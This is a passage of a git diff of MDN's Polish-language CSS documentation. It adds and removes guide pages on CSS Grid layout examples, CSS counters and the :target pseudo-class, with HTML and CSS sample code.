As described in the guide to named lines, we are using the named line to place our item. As we have 12 lines all with the same name we use the name, and then the index of the line. You could also use the line index itself if you prefer and avoid using named lines at all.

- -

Rather than setting the end line number, I have chosen to say how many tracks this element should span, using the span keyword. I like this approach as when working with a multiple-column layout system we usually think of blocks in terms of the number of tracks of the grid they span, and adjust that for different breakpoints. To see how the blocks align themselves to the tracks, use the Firefox Grid Inspector. It clearly demonstrates how our items are placed.

- -

Showing the items placed on the grid with grid tracks highlighted.

- -

There are some key differences with how a grid layout works over the grid systems you may have used previously. As you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. With CSS Grid Layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. Due to this strict column and row placement we can also easily leave white space in our layout. We also don’t need special classes to pull or push things, to indent them into the grid. All we need to do is specify the start and end line for the item.

- -

Building a layout using the 12-column system

- -

To see how this layout method works in practice, we can create the same layout that we created with {{cssxref("grid-template-areas")}}, this time using the 12-column grid system. I am starting with the same markup as used for the grid template areas example.

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content"><h1>Main article area</h1>
-        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-    </div>
-
- -

I can then set up our grid, as for the example 12-column layout above.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

We are once again going to make this a responsive layout, this time however using named lines. Every breakpoint will use a 12-column grid, however the number of tracks that items will span changes depending on the size of the screen.

- -

We start mobile first, and all we want for the narrowest screens is for the items to remain in source order, and all span right across the grid.

- -
.wrapper > * {
-  grid-column: col-start / span 12;
-}
-
- -

At the next breakpoint we want to move to a two-column layout. Our header and navigation still span the full grid, so we do not need to specify any positioning for them. The sidebar is starting on the first column line named col-start, spanning 3 lines. It goes after row line 3, as the header and navigation are in the first two row tracks.

- -

The ad panel is below the sidebar, so starts at grid row line 4. Then we have the content and footer starting at col-start 4 and spanning 9 tracks taking them to the end of the grid.

- -
@media (min-width: 500px) {
-
-  .side {
-    grid-column: col-start / span 3;
-    grid-row: 3;
-  }
-  .ad {
-    grid-column: col-start / span 3;
-    grid-row: 4;
-  }
-  .content, .main-footer {
-    grid-column: col-start 4 / span 9;
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

Finally we go to the three-column version of this layout. The header continues to span right across the grid, but now the navigation moves down to become the first sidebar, with the content and then the sidebar next to it. The footer now also spans across the full layout.

- -
@media (min-width: 700px) {
-  .main-nav {
-    grid-column: col-start / span 2;
-    grid-row: 2 / 4;
-  }
-  .content {
-    grid-column: col-start 3 / span 8;
-    grid-row: 2 / 4;
-  }
-  .side {
-    grid-column: col-start 11 / span 2;
-    grid-row: 2;
-  }
-  .ad {
-    grid-column: col-start 11 / span 2;
-    grid-row: 3;
-  }
-  .main-footer {
-    grid-column: col-start / span 12;
-  }
-  nav ul {
-    flex-direction: column;
-  }
-}
-
- -

{{ EmbedLiveSample('layout_3', '800', '450') }}

-
- -

Once again the Grid Inspector is useful to help us see how our layout has taken shape.

- -

Showing the layout with grid tracks highlighted by the grid inspector.

- -

Something to note as we create this layout is that we haven’t needed to explicitly position every element on the grid at each breakpoint. We have been able to inherit the placement set up for earlier breakpoints – an advantage of working “mobile first”. We are also able to take advantage of grid auto-placement. By keeping elements in a logical order, auto-placement does quite a lot of work for us in placing items onto the grid. In the final example in this guide we will create a layout that entirely relies on auto-placement.

- -

A product listing with auto-placement

- -

Many layouts are essentially sets of “cards” – product listings, image galleries, and so on. A grid can make it very easy to create these listings in a way that is responsive without needing to add media queries to make it so. In this next example I’m combining CSS Grid and Flexbox Layouts to make a simple product listing layout.

- -

The markup for my listing is an unordered list of items. Each item contains a heading, some text of varying height, and a call to action link.

- -
-
<ul class="listing">
-  <li>
-    <h2>Item One</h2>
-    <div class="body"><p>The content of this listing item goes here.</p></div>
-    <div class="cta"><a href="">Call to action!</a></div>
-  </li>
-   <li>
-     <h2>Item Two</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-   </li>
-   <li class="wide">
-     <h2>Item Three</h2>
-     <div class="body"><p>The content of this listing item goes here.</p>
-     <p>This one has more text than the other items.</p>
-     <p>Quite a lot more</p>
-     <p>Perhaps we could do something different with it?</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-    <li>
-     <h2>Item Four</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-     <li>
-     <h2>Item Five</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-      <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-</ul>
-
- - - -

We are going to create a grid with a flexible number of flexible columns. I want them never to become smaller than 200 pixels, and then to share any available remaining space equally – so we always get equal width column tracks. We achieve this with the minmax() function in our repeat notation for track sizing.

- -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-
- -

As soon as I add this CSS, the items start to lay out as a grid. If I make the window smaller or wider the number of column tracks changes – without me needing to add breakpoints using media queries and redefine the grid.

- -

I can then tidy up the internals of the boxes using a little touch of flexbox. I set the list item to display: flex and the flex-direction to column. I can then use an auto margin on the .cta to push this bar down to the bottom of the box.

- -
.listing li {
-  border: 1px solid #ffe066;
-  border-radius: 5px;
-  display: flex;
-  flex-direction: column;
-}
-.listing .cta {
-  margin-top: auto;
-  border-top: 1px solid #ffe066;
-  padding: 10px;
-  text-align: center;
-}
-.listing .body {
-  padding: 10px;
-}
-
- -

This is really one of the key reasons I would use flexbox rather than grid, if I am just aligning or distributing something in a single dimension, that’s a flexbox use case. 

- -

{{ EmbedLiveSample('layout_4', '800', '900') }}

-
- -

This is all looking fairly complete now, however we sometimes have these cards which contain far more content than the others. It might be nice to cause those to span two tracks, and then they won’t be so tall. I have a class of wide on my larger item, and I add a rule {{cssxref("grid-column-end")}} with a value of span 2. Now when grid encounters this item, it will assign it two tracks. At some breakpoints, this means that we'll get a gap in the grid – where there isn’t space to lay out a two-track item.

- -

The layout has gaps as there is not space to layout a two track item.

- -

I can cause a grid to backfill those gaps by setting {{cssxref("grid-auto-flow")}}: dense on the grid container. Take care when doing this however as it does take items away from their logical source order. You should only do this if your items do not have a set order – and be aware of the issues of the tab order following the source and not your reordered display.

- -
- - -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-auto-flow: dense;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-.listing .wide {
-  grid-column-end: span 2;
-}
-
- -

{{ EmbedLiveSample('layout_5', '800', '900') }}

- -

This technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a CMS for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the HTML.

-
- -

Further exploration

- -

The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, and see if you can build it using grid. Don’t forget to find examples that are impossible to build with current methods. That might mean taking inspiration from magazines or other non-web sources. Grid Layout opens up possibilities that we have not had before, we don’t need to be tied to the same old layouts to use it.

- - - - diff --git a/files/pl/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/pl/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html new file mode 100644 index 0000000000..93ac130fce --- /dev/null +++ b/files/pl/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -0,0 +1,594 @@ +--- +title: Projektowanie typowych układów za pomocą układu siatki CSS +slug: >- + Web/CSS/CSS_Grid_Layout/Realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_CSS +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +

Na zakończenie tego zestawu poradników do Układów Siatki CSS (ang. CSS Grid Layout), przejdę przez kilka różnych układów, demonstrujących niektóre z  technik, których można użyć podczas projektowania z użyciem tej technologii. Przyjrzymy się przykładowi, korzystającemu z wartości grid-template-areas, typowemu 12-kolumnowemu systemowi elastycznej siatki, a także wykazowi produktów stworzonemu za pomocą automatycznego rozmieszczania. Jak wynika z wyżej przedstawionych przykładów, często istnieje więcej niż jeden sposób, aby osiągnąć pożądany efekt z układem siatki. Wybierz  tę metodę, która jest najbardziej pomocna w rozwiązaniu problemów przed którymi stoisz i  dla projektów, które realizujesz.

+ +

Responsywny układ strony korzystający z 1 do 3 kolumn o zmiennej pozycji elementów przy użyciu grid-template-areas

+ +

Znacząca część stron internetowych jest odmianą tego typu układu; zawierającego treść, panele boczne, nagłówek oraz stopkę. Podczas projektowania responsywnej witryny, możesz zechcieć wyświetlić stronę w układzie pojedynczej kolumny dla małych ekranów, dla  wyświetlacza o wartości granicznej dodać panel boczny, a dla najszerszych ekranów wprowadzić układ w trzech kolumnach.

+ +

Image of the three different layouts created by redefining our grid at two breakpoints.

+ +

Zamierzam stworzyć taki układ korzystając z  nazwanych pól szablonu, o których możecie dowiedzieć się więcej z kursu Grid template areas.

+ +

Mój szkielet  składa się z pojemnika zawierającego elementy z przeznaczeniem na: nagłówek i stopkę, główną zawartość strony, menu, panel boczny oraz blok przeznaczony na reklamę.

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content">
+            <h1>Main article area</h1>
+            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
+        </article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+</div>
+
+ +

Używamy cechy {{cssxref("grid-template-areas")}} by stworzyć układ strony. Nie korzystamy jeszcze z zapytań o środki dostępu (ang. media-queries). Musimy teraz nadać odpowiednie nazwy polom. Żeby to zrobić skorzystamy z właściwości {{cssxref("grid-area")}}.

+ +
.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+
+ +

Sama w sobie, operacja ta nie tworzy żadnego układu, aczkolwiek pozwala nam na to, dzięki nadanym nazwom.   Nadal nie korzystając z zapytań o urządzenie dostępu, nadam teraz stronie układ tworzony z myślą o wyświetlaczach mobilnych. W tym wypadku zachowam pierwotną kolejność elementów, taką jak w układzie szkieletu, starając się uniknąć najmniejszego rozdźwięku pomiędzy szablonem znaczników, a ukladem siatki, zgodnie z poradami zawartymi w Grid layout and accessibility. Nie definuję kolumn, ani rzędów, jednak taka stylizacja tworzy nam układ jednokolumnowy, co się zaś tyczy rzędów, zostaną stworzone samoistnie dla każdego elementu wskazanej siatki.

+ +
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+
+ +

Zdefiniowany mobilny układ strony (jedna kolumna) będzie się teraz wyświetlał jednakowo na każdym urządzeniu, nieleżnie od jego rozmiarów. Żeby to zmienić możemy posłużyć się zapytaniem o środek dostępu i przedefiniować nasz układ na wypadek, gdyby pojawiło się wystarczająco dużo miejsca na ekranie, żeby zmieścić kolejną kolumnę.

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

Możesz zaobserwować, jak będzie wyglądał nowy układ przyglądając się wartości cechy {{cssxref("grid-template-areas")}}. Element header  (nagłówek) rozciąga się na dwie kolumny, tak, jak i element nav (menu). Wtrzecim rzędzie sąsiaduje element sidebar (panel boczny) oraz element content (zawartość strony). W czwartym rzędzie umieściłem element ad (blok reklamowy) zamiast panelu bocznego, a na samym końcu element footer (stopkę) rozciągnietą na cały piąty rząd. Użyłem elastycznego bloku (flexbox) dla menu, tak by wyświetliło się w oddalonym rzędzie.

+ +

Mogę teraz dodać ostatnią wartość graniczną, wyznaczającą przejście do układu w trzech kolumnach.

+ +
@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+
+ +

The three-column layout has two 1fr unit side columns and a middle column that has 4fr as the track size. This means that the available space in the container is split into 6 and assigned in proportion to our three tracks – one part each to the side columns and 4 parts to the center.

+ +

In this layout I am displaying the nav in the left column, alongside the content. In the right column we have the sidebar and underneath it the advertisements (ad). The footer now spans right across the bottom of the layout. I then use a flexbox to display the navigation as a column.

+ +

{{ EmbedLiveSample('layout_1', '800', '500') }}

+
+ +

This is a simple example but demonstrates how we can use a grid layout to rearrange our layout for different breakpoints. In particular I am changing the location of that ad block, as appropriate in my different column setups. I find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. You could always begin to use grid in this way for prototyping, even if you can’t rely on it fully in production due to the browsers that visit your site.

+ +

A flexible 12-column layout

+ +

If you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. We can create this type of system using CSS Grid Layout. As a simple example, I am creating a 12-column flexible grid that has 12 1fr-unit column tracks, they all have a start line named col-start. This means that we will have twelve grid lines named col-start.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

To demonstrate how this grid system works I have four child elements inside my wrapper.

+ +
<div class="wrapper">
+  <div class="item1">Start column line 1, span 3 column tracks.</div>
+  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
+  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
+  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
+</div>
+
+ +

I can then place these on the grid using the named lines, and also the span keyword.

+ +
.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('layout_2', '800', '400') }}

+
+ +

As described in the guide to named lines, we are using the named line to place our item. As we have 12 lines all with the same name we use the name, and then the index of the line. You could also use the line index itself if you prefer and avoid using named lines at all.

+ +

Rather than setting the end line number, I have chosen to say how many tracks this element should span, using the span keyword. I like this approach as when working with a multiple-column layout system we usually think of blocks in terms of the number of tracks of the grid they span, and adjust that for different breakpoints. To see how the blocks align themselves to the tracks, use the Firefox Grid Inspector. It clearly demonstrates how our items are placed.

+ +

Showing the items placed on the grid with grid tracks highlighted.

+ +

There are some key differences with how a grid layout works over the grid systems you may have used previously. As you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. With CSS Grid Layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. Due to this strict column and row placement we can also easily leave white space in our layout. We also don’t need special classes to pull or push things, to indent them into the grid. All we need to do is specify the start and end line for the item.

+ +

Building a layout using the 12-column system

+ +

To see how this layout method works in practice, we can create the same layout that we created with {{cssxref("grid-template-areas")}}, this time using the 12-column grid system. I am starting with the same markup as used for the grid template areas example.

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content"><h1>Main article area</h1>
+        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+    </div>
+
+ +

I can then set up our grid, as for the example 12-column layout above.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

We are once again going to make this a responsive layout, this time however using named lines. Every breakpoint will use a 12-column grid, however the number of tracks that items will span changes depending on the size of the screen.

+ +

We start mobile first, and all we want for the narrowest screens is for the items to remain in source order, and all span right across the grid.

+ +
.wrapper > * {
+  grid-column: col-start / span 12;
+}
+
+ +

At the next breakpoint we want to move to a two-column layout. Our header and navigation still span the full grid, so we do not need to specify any positioning for them. The sidebar is starting on the first column line named col-start, spanning 3 lines. It goes after row line 3, as the header and navigation are in the first two row tracks.

+ +

The ad panel is below the sidebar, so starts at grid row line 4. Then we have the content and footer starting at col-start 4 and spanning 9 tracks taking them to the end of the grid.

+ +
@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

Finally we go to the three-column version of this layout. The header continues to span right across the grid, but now the navigation moves down to become the first sidebar, with the content and then the sidebar next to it. The footer now also spans across the full layout.

+ +
@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+
+ +

{{ EmbedLiveSample('layout_3', '800', '450') }}

+
+ +

Once again the Grid Inspector is useful to help us see how our layout has taken shape.

+ +

Showing the layout with grid tracks highlighted by the grid inspector.

+ +

Something to note as we create this layout is that we haven’t needed to explicitly position every element on the grid at each breakpoint. We have been able to inherit the placement set up for earlier breakpoints – an advantage of working “mobile first”. We are also able to take advantage of grid auto-placement. By keeping elements in a logical order, auto-placement does quite a lot of work for us in placing items onto the grid. In the final example in this guide we will create a layout that entirely relies on auto-placement.

+ +

A product listing with auto-placement

+ +

Many layouts are essentially sets of “cards” – product listings, image galleries, and so on. A grid can make it very easy to create these listings in a way that is responsive without needing to add media queries to make it so. In this next example I’m combining CSS Grid and Flexbox Layouts to make a simple product listing layout.

+ +

The markup for my listing is an unordered list of items. Each item contains a heading, some text of varying height, and a call to action link.

+ +
+
<ul class="listing">
+  <li>
+    <h2>Item One</h2>
+    <div class="body"><p>The content of this listing item goes here.</p></div>
+    <div class="cta"><a href="">Call to action!</a></div>
+  </li>
+   <li>
+     <h2>Item Two</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+   </li>
+   <li class="wide">
+     <h2>Item Three</h2>
+     <div class="body"><p>The content of this listing item goes here.</p>
+     <p>This one has more text than the other items.</p>
+     <p>Quite a lot more</p>
+     <p>Perhaps we could do something different with it?</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+    <li>
+     <h2>Item Four</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+     <li>
+     <h2>Item Five</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+      <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+</ul>
+
+ + + +

We are going to create a grid with a flexible number of flexible columns. I want them never to become smaller than 200 pixels, and then to share any available remaining space equally – so we always get equal width column tracks. We achieve this with the minmax() function in our repeat notation for track sizing.

+ +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+
+ +

As soon as I add this CSS, the items start to lay out as a grid. If I make the window smaller or wider the number of column tracks changes – without me needing to add breakpoints using media queries and redefine the grid.

+ +

I can then tidy up the internals of the boxes using a little touch of flexbox. I set the list item to display: flex and the flex-direction to column. I can then use an auto margin on the .cta to push this bar down to the bottom of the box.

+ +
.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+
+ +

This is really one of the key reasons I would use flexbox rather than grid, if I am just aligning or distributing something in a single dimension, that’s a flexbox use case. 

+ +

{{ EmbedLiveSample('layout_4', '800', '900') }}

+
+ +

This is all looking fairly complete now, however we sometimes have these cards which contain far more content than the others. It might be nice to cause those to span two tracks, and then they won’t be so tall. I have a class of wide on my larger item, and I add a rule {{cssxref("grid-column-end")}} with a value of span 2. Now when grid encounters this item, it will assign it two tracks. At some breakpoints, this means that we'll get a gap in the grid – where there isn’t space to lay out a two-track item.

+ +

The layout has gaps as there is not space to layout a two track item.

+ +

I can cause a grid to backfill those gaps by setting {{cssxref("grid-auto-flow")}}: dense on the grid container. Take care when doing this however as it does take items away from their logical source order. You should only do this if your items do not have a set order – and be aware of the issues of the tab order following the source and not your reordered display.

+ +
+ + +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+
+ +

{{ EmbedLiveSample('layout_5', '800', '900') }}

+ +

This technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a CMS for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the HTML.

+
+ +

Further exploration

+ +

The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, and see if you can build it using grid. Don’t forget to find examples that are impossible to build with current methods. That might mean taking inspiration from magazines or other non-web sources. Grid Layout opens up possibilities that we have not had before, we don’t need to be tied to the same old layouts to use it.

+ + + + diff --git a/files/pl/web/css/css_lists_and_counters/using_css_counters/index.html b/files/pl/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..3c494e6af3 --- /dev/null +++ b/files/pl/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,86 @@ +--- +title: Liczniki CSS +slug: Web/Guide/Liczniki_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +

 

+ +

Podsumowanie

+ +

Liczniki w CSS zostały opisane w sekcji Automatic counters and numbering dokumentacji CSS 2.1. Wartość licznika jest ustawiana poprzez użycie własności counter-reset oraz counter-increment, natomiast wyświetlana jest przy wykorzystaniu funkcji counter() lub counters() należących do własności content.

+ +

Zastosowanie liczników

+ +

Aby użyć licznika CSS, należy najpierw ustawić mu wartość (domyślnie jest to 0) przy pomocy własności reset. Aby wyświetlić wartość licznika w danym elemencie należy skorzystać z funkcji counter(). Poniższy przykład dodaje na początku każdego elementu h1 "Sekcja wartość licznika:".

+ +
  body {
+    counter-reset: sekcja;           /* Ustawienie licznika sekcja na 0 */
+  }
+  h1::before {
+    counter-increment: sekcja;               /* Zwiększa licznik sekcja */
+    content: "Sekcja " counter(sekcja) ": ";       /* Wyświetla licznik */
+  }
+
+ +

Zagnieżdżanie liczników

+ +

Liczniki CSS mogą być szczególnie użyteczne przy listach uporządkowanych (ol), ponieważ nowa instancja licznika CSS jest automatycznie tworzona dla potomków danego elementu. Użycie funkcji counters() pozwala na dodanie ciągu znaków, który będzie oddzielał kolejne poziomy zagnieżdżonych liczników:

+ +
  ol {
+    counter-reset: sekcja;                /* Tworzy nową instancję licznika
+                                             sekcja w każdym elemencie ol */
+    list-style-type: none;                /* Usuwa domyślnie wyświetlany licznik */
+  }
+  li::before {
+    counter-increment: sekcja;            /* Zwiększa tylko tę instancję
+                                             licznika sekcja */
+    content: counters(sekcja, ".") " ";   /* Wyświetla wartości wszystkich
+                                             instancji licznika sekcja,
+                                             oddzielając je ciągiem ".". */
+  }
+
+ +

Przykładowy HTML (w komentarzach podano wartość wygenerowanego licznika):

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+          <li>item</li>  <!-- 2.3.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+
+ +

Zobacz także

+ + + +

potrzebna treść do artykułu

+ +

{{ languages( { "en": "en/CSS_Counters", "fr": "fr/Compteurs_CSS" } ) }}

diff --git a/files/pl/web/css/css_reference/index.html b/files/pl/web/css/css_reference/index.html deleted file mode 100644 index c6b8ea66c6..0000000000 --- a/files/pl/web/css/css_reference/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Dokumentacja CSS -slug: Web/CSS/CSS_Reference -translation_of: Web/CSS/Reference ---- -

Specyfikacja CSS zawiera wszystkie standardowe właściwości CSS, w tym  pseudo-klas i pseudo-elementow, zasad używania znaku @i selektorów w porządku alfabetycznym. Taka organizacja specyfikacji pozwala na szybki dostęp do szczegółowych informacji o każdym elemencie specyfikacji.
-
- Specyfikacja CSS nie tylko opisuje ustandaryzowane właściwości CSS1 i CSS2.1, ale odnosi się również do specyfikacji najnowszej wersji - CSS3, zarówno elementów w fazie koncepcji jak i elementów zatwierdzonych.

-
- Zobacz także rozszerzenie CSS Mozilli skonstrułowanych dla programów opartych na Gecko, z prefiksem -moz; oraz rozszerzenia CSS WebKit dla programów opartych na tym silniku. Sprawdź zestawienie właściwości wszystko prefiksów CSS autorstwa Petera Beverloo.
-

 

-
- {{ CSS_Ref() }}
-

Selektory

- -

diverso

- -

Pojęcia

- diff --git a/files/pl/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/pl/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html new file mode 100644 index 0000000000..ff4ec92e20 --- /dev/null +++ b/files/pl/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -0,0 +1,64 @@ +--- +title: 'Użycie pseudoklasy :target w selektorach' +slug: 'Web/CSS/CSS_Selectors/Użycie_pseudoklasy_:target_w_selektorach' +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +
{{CSSRef}}
+ +

Czasami adres URL wskazuje na konkretny fragment dokumentu, ale użytkownikowi może być ciężko to zauważyć. Sprawdź, jak można łatwo zwrócić uwagę użytkownika na target naszego adresu URL za pomocą CSS.

+ +

Wybór targetu

+ +

Pseudoklasy {{cssxref(":target")}} używa się, aby ostylować targetowany element adresu URL, który zawiera identyfikator fragmentu.

+ +

Przykładowo, adres URL http://developer.mozilla.org/en/docs/Using_the_:target_selector#example zawiera identyfikator fragmentu o treści #example. W HTML identyfikatory fragmentu to wartości atrybutów id lub name jako że atrybuty te dzielą tę samą przestrzeń na nazwy. A więc adres URL z naszego przykładu wskazywałby nam część strony o tytule "example".

+ +

Przypuśćmy, że chcesz ostylować każdy element h2, który jest targetem URL i nie chcesz, żeby elementy innego rodzaju dostały ostylowane w ten sposób. To proste:

+ +
h2:target { font-weight: bold; }
+ +

Można też stworzyć style, które dotyczą jedynie konkretnego fragmentu naszej strony. Robi się to używając tego samego identyfikatora, który znajduje się w naszym URL. Tak więc aby dodać obramowanie do fragmentu strony zawierającego element #example, napisalibyśmy:

+ +
#example:target { border: 1px solid black; }
+ +

Targetowanie wszystkich elementów

+ +

Jeżeli chcemy stworzyć uniwersalne stylowanie, którego będziemy używać do wszystkich targetowanych elementów, możemy użyć uniwersalnego selektora:

+ +
:target { color: red; }
+
+ +

Przykład

+ +

W poniższym przykładzie jest pięć odnośników, które przenoszą nas do różnych elementów należących do jednego dokumentu. Wybierając link "Pierwszy" sprawi, że <h1 id="one"> zostanie naszym pierwszym targetowanym elementem. Zwróć uwagę, że dokument zostać przewinięty przewinąć do nowej pozycji, jako że targetowane elementy umieszcza się w miarę możliwości na górze okna przeglądarki.

+ +
+
<h4 id="jeden">...</h4> <p id="dwa">...</p>
+<div id="trzy">...</div> <a id="cztery">...</a> <em id="piec">...</em>
+
+<a href="#jeden">Pierwszy</a>
+<a href="#dwa">Drugi</a>
+<a href="#trzy">Trzeci</a>
+<a href="#cztery">Czwarty</a>
+<a href="#piec">Piąty</a>
+
+ +

Podsumowanie

+ +

